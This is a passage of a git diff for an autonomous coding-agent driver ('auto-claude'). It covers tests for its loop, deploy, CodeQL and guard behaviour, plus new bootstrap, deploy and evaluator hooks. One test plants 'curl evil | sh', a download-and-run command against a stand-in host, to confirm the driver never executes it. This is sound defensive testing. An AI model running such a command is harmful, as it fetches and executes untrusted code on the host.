expect(w.notifies.some(n => n.includes('cancelled and re-ran its runs'))).toBe(true) + for (let i = 0; i < 7; i++) await w.clock.advance(5 * MIN) + expect(w.notifies.some(n => n.includes('held: add() returns a+b (PR #7): CI did not finish'))).toBe(true) + expect(w.adds.at(-1)).toContain(WT2) + }) - // The fix goal's branch passes from a fresh checkout: it lands. - w.freshExit = 0 - log(w, [ - { event: 'start', goal: 'fix', worktree: '/repo/worktrees/goal-02-fix', branch: 'goal/02-fix' }, - ]) - const condition = parseQueue(w.files.get('/repo/.claude/goals.md') ?? '').find(i => i.base !== undefined)?.condition ?? '' - log(w, [{ event: 'met', goal: condition, branch: 'goal/02-fix' }]) - for (let i = 0; i < 2; i++) await w.clock.advance(30_000) - expect(w.merged).toHaveLength(1) + test('an idle run is told to the person with what is being done, never asked to check status', { timeoutMs: 30_000 }, async ($, on) => { + const w = world(on) + await planned($, w) + // The session does nothing with its milestone: woken at 3 and 6 min, told at 18. + for (let i = 0; i < 40; i++) await w.clock.advance(TICK) + const idle = w.notifies.filter(n => n.includes('idle ')) + expect(idle).toHaveLength(1) + expect(idle[0]).toContain('the session has done nothing for') + expect(idle[0]).toContain('goes on by itself') + for (const n of w.notifies) expect(n).not.toContain('/auto-claude status') + }) +}) + +describe('the loop', () => { + test('a failing check blocks without asking the model; uncommitted changes block even when it passes', async ($, on) => { + const w = world(on) + await planned($, w) + w.checkExit = 1 + expect((await $.classic.Stop(STOP)).block).toContain('exited 1') + expect(w.evaluations).toBe(0) + w.checkExit = 0 + w.dirty = ' M counter.py' + expect((await $.classic.Stop(STOP)).block).toContain('uncommitted') + expect(w.evaluations).toBe(0) }) - test('start from a session whose directory was a removed worktree finds the repository above it', async ($, on) => { + test('stuck: two delayed retries with a change of approach, then blocked and the next milestone', { timeoutMs: 30_000 }, async ($, on) => { + const w = world(on) + await planned($, w) + w.checkExit = 1 + for (let round = 1; round <= 3; round++) { + for (let i = 1; i <= 4; i++) expect((await $.classic.Stop(STOP)).block).toBeDefined() + expect((await $.classic.Stop(STOP)).block).toBeUndefined() + if (round < 3) { + await w.clock.advance(120_000) + expect(w.prompts.at(-1)).toContain(`Retry ${round}/2`) + } + } + expect(w.files.get(GOALS)).toMatch(/- \[!\] add\(\) returns a\+b/) + await w.clock.advance(1_200) + expect(w.prompts.at(-1)).toContain('Milestone #2: sub() returns a-b') + }) + + test('an evaluator request the engine refuses retries the milestone instead of throwing', async ($, on) => { + const w = world(on) + await planned($, w) + w.verdicts.push('throw') + expect((await $.classic.Stop(STOP)).block).toBeUndefined() + await w.clock.advance(120_000) + expect(w.prompts.at(-1)).toContain('Retry 1/2') + }) + + test('a transcript past the read cap is judged by a fork; a subagent\'s stop is not judged', async ($, on) => { + const w = world(on) + let forks = 0 + on('model.fork', () => { + forks++ + return { value: { isAnswered: true as const, text: '{"met": false, "reason": "x"}', usage: USAGE } } + }) + await planned($, w) + expect((await $.classic.Stop({ ...STOP, agent_id: 'a1' })).block).toBeUndefined() + expect(w.evaluations).toBe(0) + w.files.delete('/tmp/s.jsonl') + expect((await $.classic.Stop(STOP)).block).toContain('x') + expect(forks).toBe(1) + expect(w.evaluations).toBe(0) + }) + + test('defer_goal is refused early, then applied at the next stop, and the run goes on', async ($, on) => { + const w = world(on) + await planned($, w) + w.checkExit = 1 + expect((await $.tool.call({ tool: 'mcp__auto-claude__defer_goal', reason: 'needs API key' } as never)).deny).toContain('Too early') + await $.classic.Stop(STOP) + await $.classic.Stop(STOP) + expect((await $.tool.call({ tool: 'mcp__auto-claude__defer_goal', reason: 'needs API key' } as never)).deny).toBeUndefined() + expect((await $.classic.Stop(STOP)).block).toBeUndefined() + expect(w.files.get(GOALS)).toMatch(/- \[!\] add\(\) returns a\+b .*deferred.*needs API key/) + await w.clock.advance(TICK) + expect(w.notifies.some(n => n.includes('deferred: add() returns a+b'))).toBe(true) + expect(w.adds.at(-1)).toContain(WT2) + }) + + test('guards apply while a milestone is built, and only in the session running it', async ($, on) => { const w = world(on) await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) - // The session had cd'ed into a milestone's worktree, which was removed after it landed. - w.cwd = '/repo/worktrees/goal-03-landed' - w.gone.add('/repo/worktrees/goal-03-landed') - const text = (await cmd($, 'start')).text ?? '' - expect(text).toContain('auto-claude on in /repo') - expect(text).toContain('/repo/worktrees/goal-03-landed no longer exists') - expect((await cmd($, 'status')).text).toContain('auto-claude on') + expect((await $.tool.call({ tool: 'Bash', command: 'git push origin main' } as never)).deny).toBeUndefined() + await cmd($, 'start') + w.files.set('/repo/.claude/auto-plan.md', PLAN) + w.files.set(GOALS, QUEUE) + await ready($) + await w.clock.advance(1_200) + expect((await $.tool.call({ tool: 'Bash', command: 'git push origin main' } as never)).deny).toContain('main') + expect((await $.tool.call({ tool: 'Bash', command: `git push -u origin ${BR1}` } as never)).deny).toBeUndefined() + expect((await $.tool.call({ tool: 'Bash', command: 'kubectl apply -f x.yaml' } as never)).deny).toContain('deploy and cluster commands are refused') + expect((await $.tool.call({ tool: 'Bash', command: 'kubectl get pods' } as never)).deny).toBeUndefined() + expect((await $.tool.call({ tool: 'Edit', file_path: '/repo/a.py', old_string: 'a', new_string: 'b' } as never)).deny).toContain('worktree') + expect((await $.tool.call({ tool: 'Edit', file_path: `${WT1}/a.py`, old_string: 'a', new_string: 'b' } as never)).deny).toBeUndefined() + expect(w.files.get(LOG)).toContain('"event":"denied"') + }) + + test('a line\'s own :: base: is where its worktree starts', async ($, on) => { + const w = world(on) + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + w.files.set(GOALS, '- [ ] fix add :: check: true :: base: goal/07-pr-branch\n- [ ] fix mul :: check: true\n') + await cmd($, 'start --queue') + await w.clock.advance(1_200) + expect(w.adds[0]).toBe('git -C /repo worktree add /repo/worktrees/goal-01-fix-add -b goal/01-fix-add goal/07-pr-branch') + }) +}) + +describe('build only (/auto-claude start --queue)', () => { + test('builds each pending line into its branch: nothing is pushed, merged or deployed', async ($, on) => { + const w = world(on) + w.github = true + w.files.set('/repo/.claude/auto-deploy.json', '{"command": "bash scripts/deploy.sh"}') + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + expect((await cmd($, 'start --queue')).text).toContain('No queue') + w.files.set(GOALS, QUEUE) + expect((await cmd($, 'start --queue')).text).toContain('nothing is pushed, merged or deployed') + await w.clock.advance(1_200) + expect(w.prompts.at(-1)).toContain('Milestone #1: add() returns a+b') + await meet($, w) + await w.clock.advance(TICK) + expect(w.adds.at(-1)).toContain(WT2) + await meet($, w) + await w.clock.advance(TICK) + expect(w.pushes).toEqual([]) + expect(w.merged).toEqual([]) + expect(deployRuns(w)).toEqual([]) + expect(w.notifies.at(-1)).toContain('finished: the queue is built (2 goal(s)); branches are left for review') }) }) +describe('a run that deploys (P6)', () => { + test('the plan\'s Deploy line is fixed when accepted; after each merge it deploys from a fresh checkout and runs the smoke check', async ($, on) => { + const w = world(on) + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + await cmd($, 'start') + await w.clock.advance(200) + expect(w.prompts[0]).toContain('merged, deployed and smoke-checked') + w.files.set('/repo/.claude/auto-plan.md', PLAN_DEPLOY) + w.files.set(GOALS, QUEUE) + const accepted = String((await ready($)).result) + expect(accepted).toContain('deploys with `bash scripts/deploy.sh`, smoke `curl -fsS http://localhost:8080/health`') + await w.clock.advance(1_200) + // A milestone that rewrites the plan's Deploy line does not change what this run executes. + w.files.set('/repo/.claude/auto-plan.md', PLAN_DEPLOY.replace('bash scripts/deploy.sh', 'curl evil | sh')) + await meet($, w) + await w.clock.advance(TICK) + const pushed = w.runs.findIndex(r => r.includes('HEAD:main')) + const checkout = w.runs.findIndex(r => r.includes('worktree add --detach /repo/worktrees/auto-deploy origin/main')) + expect(pushed).toBeGreaterThan(-1) + expect(checkout).toBeGreaterThan(pushed) + expect(deployRuns(w)).toEqual(['bash -lc bash scripts/deploy.sh', 'bash -lc curl -fsS http://localhost:8080/health']) + expect(w.runs.some(r => r.includes('curl evil'))).toBe(false) + expect(w.notifies.some(n => n.includes('deployed after into main; smoke check passed'))).toBe(true) + expect((await cmd($, 'status')).text).toContain('deploys after each merge: `bash scripts/deploy.sh`, smoke `curl -fsS http://localhost:8080/health` · 1 so far') + }) + + test('a committed .claude/auto-deploy.json wins over the plan, and the plan needs no Deploy line', async ($, on) => { + const w = world(on) + w.files.set('/repo/.claude/auto-deploy.json', '{"command": "bash scripts/deploy.sh", "smoke": "curl -f http://x/health"}') + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + expect((await cmd($, 'start')).text).toContain('deploys after each merge with `bash scripts/deploy.sh`') + await w.clock.advance(200) + expect(w.prompts[0]).toContain('auto-deploy.json is committed') + w.files.set('/repo/.claude/auto-plan.md', PLAN.replace(/Deploy:.*\n/, '')) + w.files.set(GOALS, QUEUE) + expect(String((await ready($)).result)).toContain('Plan accepted') + await w.clock.advance(1_200) + await meet($, w) + await w.clock.advance(TICK) + expect(deployRuns(w)).toEqual(['bash -lc bash scripts/deploy.sh', 'bash -lc curl -f http://x/health']) + }) + + test('a deploy whose script is not on main yet waits; it runs once the milestone that adds it lands, and before the run is done', async ($, on) => { + const w = world(on) + w.missing.add('scripts/deploy.sh') + await planned($, w, PLAN_DEPLOY) + await meet($, w) + await w.clock.advance(TICK) + expect(deployRuns(w)).toEqual([]) + expect((await cmd($, 'status')).text).toContain('a deploy is due') + // Milestone 2 adds the script. + w.missing.delete('scripts/deploy.sh') + await meet($, w) + for (let i = 0; i < 3; i++) await w.clock.advance(TICK) + expect(deployRuns(w)).toHaveLength(2) + expect(w.notifies.at(-1)).toContain('finished: the final check passed after 1 round(s) and what was merged is deployed') + }) + + test('a failed smoke check queues a deploy-fix milestone from main, built first; the run stays on and deploys again', async ($, on) => { + const w = world(on) + w.smokeExit = 7 + await planned($, w, PLAN_DEPLOY) + await meet($, w) + await w.clock.advance(TICK) + const fix = parseQueue(w.files.get(GOALS) ?? '').find(i => i.base !== undefined) + expect(fix).toMatchObject({ base: 'origin/main', check: 'python3 -m unittest -q' }) + expect(fix?.condition).toContain('the smoke check `curl -fsS http://localhost:8080/health` exited 7') + expect(w.notifies.some(n => n.includes('a milestone that repairs the deploy goes first (deploy failure 1/3)'))).toBe(true) + expect((await cmd($, 'status')).text).toContain('auto-claude on') + // The repair is built next, from main, and lands; the deploy runs again and passes. + await w.clock.advance(TICK) + expect(w.adds.at(-1)).toMatch(/-b goal\/02-deploying-works-again[^ ]* origin\/main$/) + w.smokeExit = 0 + await meet($, w) + await w.clock.advance(TICK) + expect(w.notifies.some(n => n.includes('deployed after into main; smoke check passed'))).toBe(true) + }) + + test('three deploys failing in a row stop the run: nothing more is merged on top of a broken live', async ($, on) => { + const w = world(on) + w.deployExit = 3 + await planned($, w, PLAN_DEPLOY) + for (let i = 0; i < 3; i++) { + await meet($, w) + await w.clock.advance(TICK) + } + expect(w.notifies.at(-1)).toContain('stopped: the deploy after into main failed: `bash scripts/deploy.sh` exited 3') + expect(w.notifies.at(-1)).toContain('3 deploys failed in a row') + }) + + test('with CodeQL asked for, an error-level result blocks the deploy and queues its repair; warnings are told and it deploys', async ($, on) => { + const SARIF = '/home/auto-claude-codeql-repo-python.sarif' + const w = world(on) + w.files.set(SARIF, JSON.stringify({ runs: [{ results: [{ ruleId: 'py/sql-injection', level: 'error' }] }] })) + await planned($, w, PLAN_DEPLOY.replace('CodeQL: none (a test fixture)', 'CodeQL: python')) + await meet($, w) + await w.clock.advance(TICK) + expect(w.runs.some(r => r.startsWith('codeql database create /home/auto-claude-codeql-repo-python --language=python --source-root /repo/worktrees/auto-deploy'))).toBe(true) + expect(deployRuns(w)).toEqual([]) + expect(w.files.get(GOALS) ?? '').toContain('CodeQL found 1 error-level result(s) in python (py/sql-injection ?:?)') + w.files.set(SARIF, JSON.stringify({ runs: [{ results: [{ ruleId: 'py/log-injection', level: 'warning' }] }] })) + await w.clock.advance(TICK) + await meet($, w) + await w.clock.advance(TICK) + expect(deployRuns(w)).toContain('bash -lc bash scripts/deploy.sh') + expect(w.notifies.some(n => n.includes('CodeQL python: 1 warning(s), no errors'))).toBe(true) + }) + + test('a broken deploy file keeps the run from starting', async ($, on) => { + const w = world(on) + w.files.set('/repo/.claude/auto-deploy.json', '{"codeql": "python"}') + await $.session.start({ cwd: '/repo', surface: 'terminal', isInteractive: true }) + expect((await cmd($, 'start')).text).toContain('Not started: .claude/auto-deploy.json needs a "command" string') + }) +}) describe('a directory with no git repository', () => { test('start runs git init, ignores secrets, makes the first commit, and lands milestones in main itself', async ($, on) => { @@ -923,20 +1000,16 @@ describe('a directory with no git repository', () => { expect(w.runs.some(a => a.includes('commit --allow-empty -m Initial commit'))).toBe(true) expect(w.runs.some(a => a.includes('config receive.denyCurrentBranch updateInstead'))).toBe(true) expect(w.files.get('/repo/.gitignore')).toMatch(/\.env[\s\S]*worktrees\//) - // The loop builds from the local branch, with no remote to fetch. - expect(w.files.get('/repo/.claude/goal-loop.base')).toBe('main\n') await w.clock.advance(200) expect(w.prompts[0]).toContain('This repository has no remote') - w.files.set('/repo/.claude/auto-plan.md', PLAN) - w.files.set('/repo/.claude/goals.md', QUEUE) - await $.tool.call({ tool: 'mcp__auto-claude__auto_plan_ready' } as never) - await w.clock.advance(30_000) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - await w.clock.advance(30_000) + w.files.set(GOALS, QUEUE) + await ready($) + await w.clock.advance(1_200) + // The loop builds from the local branch, with no remote to fetch. + expect(w.adds[0]).toBe(`git -C /repo worktree add ${WT1} -b ${BR1} main`) + await meet($, w) + await w.clock.advance(TICK) expect(w.pushes.some(a => a.endsWith(' push . HEAD:main'))).toBe(true) expect(w.runs.some(a => a.includes(' fetch '))).toBe(false) expect(w.runs.some(a => a.includes('rebase main'))).toBe(true) @@ -951,108 +1024,3 @@ describe('a directory with no git repository', () => { expect(w.runs.some(a => a.includes(' init'))).toBe(false) }) }) - -describe('an idle run', () => { - const nudges = (w: ReturnType) => w.notifies.filter(n => n.includes('(nudge ')) - - test('progressSig ignores an error note; idleDue is 15 min, then 30 min apart, at most 3', () => { - const ship = { goal: 'g', headRef: 'a', branch: 'a', state: 'push' as const, red: 0, since: 0 } - const base = { started: 1, finished: 1, merges: 0, held: 0 } - expect(progressSig({ ...base, ships: [ship] })).toBe(progressSig({ ...base, ships: [{ ...ship, note: 'push failed' }] })) - expect(progressSig({ ...base, ships: [ship] })).not.toBe(progressSig({ ...base, ships: [{ ...ship, state: 'ci' as const }] })) - const r = { on: true, phase: 'run' as const, movedAt: 0 } - const min = (n: number) => n * 60_000 - expect(idleDue({ ...r }, min(14))).toBeUndefined() - expect(idleDue({ ...r }, min(15))).toBe(1) - expect(idleDue({ ...r, idleNudges: 1, idleNudgedAt: min(15) }, min(44))).toBeUndefined() - expect(idleDue({ ...r, idleNudges: 1, idleNudgedAt: min(15) }, min(45))).toBe(2) - expect(idleDue({ ...r, idleNudges: 3, idleNudgedAt: min(75) }, min(500))).toBeUndefined() - expect(idleDue({ ...r, phase: 'plan' }, min(500))).toBeUndefined() - }) - - test('a loop that does not start is nudged at 15 min, then every 30 min, three times, and asked again each time', async ($, on) => { - const w = world(on) - w.loopReply = 'A session goal is active ("x"): /goal-mode clear it before starting the loop.' - await planned($, w) - for (let i = 0; i < 28; i++) await w.clock.advance(30_000) - expect(nudges(w)).toHaveLength(0) - await w.clock.advance(2 * MIN) - expect(nudges(w)).toHaveLength(1) - expect(nudges(w)[0]).toContain('nudge 1/3') - expect(nudges(w)[0]).toContain('A session goal is active') - const asks = w.commands.filter(c => c === 'goal-mode loop on').length - // The next nudge is 30 min later, not sooner; the third is the last. - for (let i = 0; i < 58; i++) await w.clock.advance(30_000) - expect(nudges(w)).toHaveLength(1) - await w.clock.advance(MIN) - expect(nudges(w)).toHaveLength(2) - expect(w.commands.filter(c => c === 'goal-mode loop on').length).toBeGreaterThan(asks) - for (let i = 0; i < 70; i++) await w.clock.advance(MIN) - expect(nudges(w)).toHaveLength(3) - expect(nudges(w)[2]).toContain('No more nudges') - expect((await cmd($, 'status')).text).toContain('stalled:') - }) - - test('progress starts the count over; a goal being built and a pending CI are not idle', async ($, on) => { - const w = world(on) - w.github = true - await planned($, w) - await w.clock.advance(31 * MIN) - expect(nudges(w)).toHaveLength(1) - - // A goal started and being built for an hour: waiting, not idle. - log(w, [{ event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }]) - for (let i = 0; i < 4; i++) await w.clock.advance(15 * MIN) - expect(nudges(w)).toHaveLength(1) - - // Met, its CI pending with nothing wrong: waiting too. - w.checks = '[{"bucket":"pending"}]' - log(w, [{ event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }]) - for (let i = 0; i < 4; i++) await w.clock.advance(15 * MIN) - expect(nudges(w)).toHaveLength(1) - - // Merged: progress. The count starts again at nudge 1 once the loop sits idle. - w.checks = '[{"bucket":"pass"}]' - await w.clock.advance(30_000) - expect(w.merged).toHaveLength(1) - w.loopReply = 'A session goal is active ("x")' - await w.clock.advance(31 * MIN) - expect(nudges(w).some(n => n.includes('nudge 1/3') && n !== nudges(w)[0])).toBe(true) - }) - - test('a CI that stays pending (no runner takes it) or a mergeability GitHub never decides is waiting only 90 min, then nudged', async ($, on) => { - const w = world(on) - w.github = true - w.checks = '[{"bucket":"pending"}]' - await planned($, w) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - for (let i = 0; i < 6; i++) await w.clock.advance(15 * MIN) - expect(nudges(w)).toHaveLength(0) - for (let i = 0; i < 4; i++) await w.clock.advance(5 * MIN) - const n = nudges(w) - expect(n).toHaveLength(1) - expect(n[0]).toContain('PR #7') - expect(n[0]).toContain('min for CI') - expect(n[0]).not.toContain('Asking the loop to start again') - expect((await cmd($, 'status')).text).toContain('stalled: PR #7 has waited') - }) - - test('a shipping error that does not clear is nudged with its note, and the loop is not asked', async ($, on) => { - const w = world(on) - w.github = true - w.gitGone = true - await planned($, w) - log(w, [ - { event: 'start', goal: 'add() returns a+b', worktree: '/repo/worktrees/goal-01-add', branch: 'goal/01-add' }, - { event: 'met', goal: 'add() returns a+b', branch: 'goal/01-add' }, - ]) - for (let i = 0; i < 34; i++) await w.clock.advance(30_000) - const n = nudges(w) - expect(n).toHaveLength(1) - expect(n[0]).toContain('ENOENT') - expect(n[0]).not.toContain('Asking the loop to start again') - }) -}) diff --git a/auto-claude/hooks/bootstrap.ts b/auto-claude/hooks/bootstrap.ts new file mode 100644 index 0000000..953d7bf --- /dev/null +++ b/auto-claude/hooks/bootstrap.ts @@ -0,0 +1,41 @@ +// Making a directory that is not a repository yet into one a run can start in. + +import type { EngineInterface } from 'claude-code' + +import { ensureLines, out, repoRoot, run } from './io' + +// Lines a bootstrapped repository ignores before its first commit: secrets and +// noise must not enter a history auto-claude then builds on. +export const BOOTSTRAP_IGNORE = ['.env', '.env.*', '!.env.example', '*.pem', '*.key', '*.p12', '*.pfx', 'node_modules/', '.DS_Store', 'worktrees/', '.claude/settings.local.json'] +// A directory with more files than this, or other repositories inside it, is not one project. +export const BOOTSTRAP_MAX_FILES = 3000 + +// A directory that is not a git repository (or has one with no commit yet) is +// made into one: `git init` on main, a .gitignore for secrets, one initial +// commit of what is there. Returns why it will not, for a directory that is +// plainly not a single project (the home directory, a folder of repositories). +export async function bootstrapRepo($: EngineInterface, dir: string, hasRepo: boolean): Promise<{ root: string; note: string } | { error: string }> { + const home = (await $.env.get('HOME').catch(() => undefined))?.replace(/\/$/, '') + if (dir === '/' || dir === home) return { error: `Not a project directory: ${dir}. cd into the project's folder and start there.` } + const nested = (await run($, ['bash', '-c', 'find . -mindepth 2 -maxdepth 3 -name .git -not -path "./worktrees/*" | head -1'], dir, 30_000)).stdout.trim() + if (nested !== '') return { error: `Not bootstrapped: ${dir} holds other repositories (${nested}); start inside one of them.` } + const counted = (await run($, ['bash', '-c', `find . -type f -not -path "./.git/*" -not -path "*/node_modules/*" | head -${BOOTSTRAP_MAX_FILES + 1} | wc -l`], dir, 60_000)).stdout.trim() + if (Number(counted) > BOOTSTRAP_MAX_FILES) return { error: `Not bootstrapped: ${dir} holds more than ${BOOTSTRAP_MAX_FILES} files, so it is not one project; start in the project's folder, or run git init yourself.` } + if (!hasRepo) { + let init = await run($, ['git', '-C', dir, 'init', '-b', 'main'], dir, 30_000) + // git before 2.28 has no -b. + if (init.exitCode !== 0) { + init = await run($, ['git', '-C', dir, 'init'], dir, 30_000) + if (init.exitCode === 0) await run($, ['git', '-C', dir, 'symbolic-ref', 'HEAD', 'refs/heads/main'], dir, 15_000) + } + if (init.exitCode !== 0) return { error: `Not bootstrapped: git init failed in ${dir}: ${out(init)}` } + } + const root = await repoRoot($, dir) + if (root === undefined) return { error: `Not bootstrapped: ${dir} is still not a git repository after git init.` } + await ensureLines($, `${root}/.gitignore`, BOOTSTRAP_IGNORE, '# auto-claude bootstrap') + await run($, ['git', '-C', root, 'add', '-A'], root, 60_000) + const staged = (await run($, ['git', '-C', root, 'diff', '--cached', '--name-only'], root, 30_000)).stdout.split('\n').filter(l => l.trim() !== '').length + const made = await run($, ['git', '-C', root, 'commit', '--allow-empty', '-m', 'Initial commit'], root, 60_000) + if (made.exitCode !== 0) return { error: `Not bootstrapped: the initial commit failed (is git user.name / user.email set?): ${out(made)}` } + return { root, note: `${hasRepo ? 'Made the first commit' : 'Initialized a git repository'} here (main, ${staged} file${staged === 1 ? '' : 's'}; secrets and noise are in .gitignore).` } +} diff --git a/auto-claude/hooks/deploy-run.ts b/auto-claude/hooks/deploy-run.ts new file mode 100644 index 0000000..0f084fe --- /dev/null +++ b/auto-claude/hooks/deploy-run.ts @@ -0,0 +1,60 @@ +// Running a deploy: a fresh detached checkout of what was merged, CodeQL, +// the command, then its smoke check. What is deployed is decided in deploy.ts. + +import type { EngineInterface } from 'claude-code' + +import type { AutoRecord } from '../types' +import { codeqlSuite, countSarif, scriptsOf } from './deploy' +import type { DeploySpec } from './deploy' +import { fetchRemote, out, readText, refOf, run, tell } from './io' + +export type DeployResult = { kind: 'ok' } | { kind: 'skipped'; why: string } | { kind: 'failed'; why: string } + +// Deploys after a merge. A deploy whose script has not landed yet waits; one +// that fails (the command, CodeQL or the smoke check) becomes a milestone that +// repairs it, built from the default branch; MAX_DEPLOY_FAILS in a row stop the run. +// Deploys what the default branch now holds, from a fresh detached checkout of +// it: CodeQL first, the command, then its smoke check. +export async function deployMerged($: EngineInterface, r: AutoRecord, spec: DeploySpec): Promise { + const dir = `${r.root}/worktrees/auto-deploy` + await run($, ['git', '-C', r.root, 'worktree', 'remove', '--force', dir], r.root) + await fetchRemote($, r, r.root) + const made = await run($, ['git', '-C', r.root, 'worktree', 'add', '--detach', dir, refOf(r)], r.root) + if (made.exitCode !== 0) return { kind: 'failed', why: `no checkout of ${refOf(r)}: ${out(made)}` } + try { + for (const script of scriptsOf(spec.command)) { + if ((await run($, ['test', '-e', script], dir, 15_000)).exitCode !== 0) return { kind: 'skipped', why: `${script} is not in ${r.defaultBranch} yet` } + } + for (const language of spec.codeql) { + const blocked = await codeqlGate($, r, dir, language) + if (blocked !== undefined) return { kind: 'failed', why: blocked } + } + const ran = await run($, ['bash', '-lc', spec.command], dir, spec.timeoutMs) + if (ran.exitCode !== 0) return { kind: 'failed', why: `\`${spec.command}\` exited ${ran.exitCode}: ${out(ran)}` } + if (spec.smoke !== undefined) { + const smoked = await run($, ['bash', '-lc', spec.smoke], dir, 300_000) + if (smoked.exitCode !== 0) return { kind: 'failed', why: `the smoke check \`${spec.smoke}\` exited ${smoked.exitCode}: ${out(smoked)}` } + } + return { kind: 'ok' } + } finally { + await run($, ['git', '-C', r.root, 'worktree', 'remove', '--force', dir], r.root) + } +} + +// CodeQL before a deploy (CLAUDE.md §5): any error-level result blocks it. +// The database and SARIF stay outside the repository, in $TMPDIR. +export async function codeqlGate($: EngineInterface, r: AutoRecord, dir: string, language: string): Promise { + const tmp = ((await $.env.get('TMPDIR')) ?? '/tmp').replace(/\/$/, '') + const name = `${r.root.split('/').pop() ?? 'repo'}-${language}` + const db = `${tmp}/auto-claude-codeql-${name}` + const sarif = `${tmp}/auto-claude-codeql-${name}.sarif` + const created = await run($, ['codeql', 'database', 'create', db, `--language=${language}`, '--source-root', dir, '--overwrite'], dir, 600_000) + if (created.exitCode !== 0) return `CodeQL could not build a ${language} database: ${out(created)}` + const analyzed = await run($, ['codeql', 'database', 'analyze', db, codeqlSuite(language), '--format=sarif-latest', `--output=${sarif}`], dir, 600_000) + if (analyzed.exitCode !== 0) return `CodeQL ${language} analysis failed: ${out(analyzed)}` + const counted = countSarif((await readText($, sarif)) ?? '') + if (counted === undefined) return `CodeQL wrote no readable SARIF at ${sarif}` + if (counted.errors > 0) return `CodeQL found ${counted.errors} error-level result(s) in ${language} (${counted.top.join('; ')}); SARIF at ${sarif}` + if (counted.warnings > 0) await tell($, r, `CodeQL ${language}: ${counted.warnings} warning(s), no errors; SARIF at ${sarif}`) + return undefined +} diff --git a/auto-claude/hooks/deploy.ts b/auto-claude/hooks/deploy.ts index 3d3c5ea..c7435b4 100644 --- a/auto-claude/hooks/deploy.ts +++ b/auto-claude/hooks/deploy.ts @@ -1,13 +1,21 @@ -// Deploying after each merge. The repository opts in with .claude/auto-deploy.json, -// read once when the run starts, so a milestone that edits the file cannot change -// what this run executes. The driver runs it, never the model (its deploy and -// release commands stay refused), in a fresh checkout of what was merged. +// Deploying after each merge. What is deployed comes from .claude/auto-deploy.json +// (committed by the person, read once when the run starts) or, without it, +// from the plan's Deploy / Smoke check / CodeQL lines, fixed when +// auto_plan_ready accepts the plan; either way a milestone that edits it +// cannot change what this run executes. The driver runs it, never the model +// (its deploy and release commands stay refused), in a fresh checkout of what +// was merged. + +import type { PlanDeploy } from './plan' export type DeploySpec = { command: string // CodeQL languages scanned before each deploy; empty: no scan. codeql: string[] timeoutMs: number + // Run right after the deploy; it passes only when the deployed service works. + smoke?: string + source?: 'file' | 'plan' } export const DEPLOY_FILE = '.claude/auto-deploy.json' @@ -15,7 +23,7 @@ const DEFAULT_TIMEOUT_MS = 10 * 60_000 // $.process.run allows ten minutes at most. const MAX_TIMEOUT_MS = 10 * 60_000 -// `{ "command": "bash scripts/deploy.sh", "codeql": "python" | ["python", "javascript"], "timeoutSec": 600 }` +// `{ "command": "bash scripts/deploy.sh", "codeql": "python" | ["python", "javascript"], "timeoutSec": 600, "smoke": "curl -fsS https://x/health" }` export function parseDeploy(text: string): DeploySpec | { error: string } { let value: unknown try { @@ -24,7 +32,7 @@ export function parseDeploy(text: string): DeploySpec | { error: string } { return { error: `${DEPLOY_FILE} is not JSON (${String(error).slice(0, 80)})` } } if (typeof value !== 'object' || value === null) return { error: `${DEPLOY_FILE} must be an object` } - const v = value as { command?: unknown; codeql?: unknown; timeoutSec?: unknown } + const v = value as { command?: unknown; codeql?: unknown; timeoutSec?: unknown; smoke?: unknown } if (typeof v.command !== 'string' || v.command.trim() === '') return { error: `${DEPLOY_FILE} needs a "command" string` } const langs = v.codeql === undefined ? [] : typeof v.codeql === 'string' ? [v.codeql] : v.codeql if (!Array.isArray(langs) || !langs.every(l => typeof l === 'string' && /^[a-z-]+$/.test(l))) { @@ -32,8 +40,26 @@ export function parseDeploy(text: string): DeploySpec | { error: string } { } if (v.timeoutSec !== undefined && (typeof v.timeoutSec !== 'number' || v.timeoutSec <= 0)) return { error: `${DEPLOY_FILE} "timeoutSec" must be a positive number` } const timeoutMs = v.timeoutSec === undefined ? DEFAULT_TIMEOUT_MS : Math.min(MAX_TIMEOUT_MS, v.timeoutSec * 1000) + if (v.smoke !== undefined && (typeof v.smoke !== 'string' || v.smoke.trim() === '')) return { error: `${DEPLOY_FILE} "smoke" must be a command string` } + const smoke = typeof v.smoke === 'string' ? v.smoke.trim() : undefined + + return { command: v.command.trim(), codeql: langs as string[], timeoutMs, ...(smoke !== undefined ? { smoke } : {}), source: 'file' } +} + +export function specOfPlan(d: Extract): DeploySpec { + return { command: d.command, codeql: d.codeql, timeoutMs: DEFAULT_TIMEOUT_MS, smoke: d.smoke, source: 'plan' } +} - return { command: v.command.trim(), codeql: langs as string[], timeoutMs } +// The files a deploy command names (`bash scripts/deploy.sh`, `./deploy`, +// `make -f ops/Makefile`): while one is missing from the merged default branch, +// the milestone that adds it has not landed yet, and the deploy waits instead +// of failing. +export function scriptsOf(command: string): string[] { + return command + .split(/\s+|&&|\|\||;/) + .map(t => t.replace(/^['"]|['"]$/g, '')) + .filter(t => /^\.{0,2}\/?[\w.-]+(\/[\w.-]+)*\.(sh|bash|py|js|mjs|ts|rb|pl)$/.test(t) || /^\.\/[\w./-]+$/.test(t)) + .filter(t => !t.startsWith('/')) } export type SarifCount = { errors: number; warnings: number; top: string[] } diff --git a/auto-claude/hooks/evaluator.ts b/auto-claude/hooks/evaluator.ts new file mode 100644 index 0000000..c6cd538 --- /dev/null +++ b/auto-claude/hooks/evaluator.ts @@ -0,0 +1,152 @@ +// The loop's independent judge: whether a goal is met, from the agent's final +// message and the tail of its transcript (real tool output only counts). +// Moved from goal-mode (0.7.0) when it merged into auto-claude. + +import type { EngineInterface, ModelForkResult } from 'claude-code' + +import type { Goal } from '../types' + +export const EVALUATOR_MODEL = 'claude-sonnet-5-5' +const EVALUATOR_TIMEOUT_MS = 60_000 +const 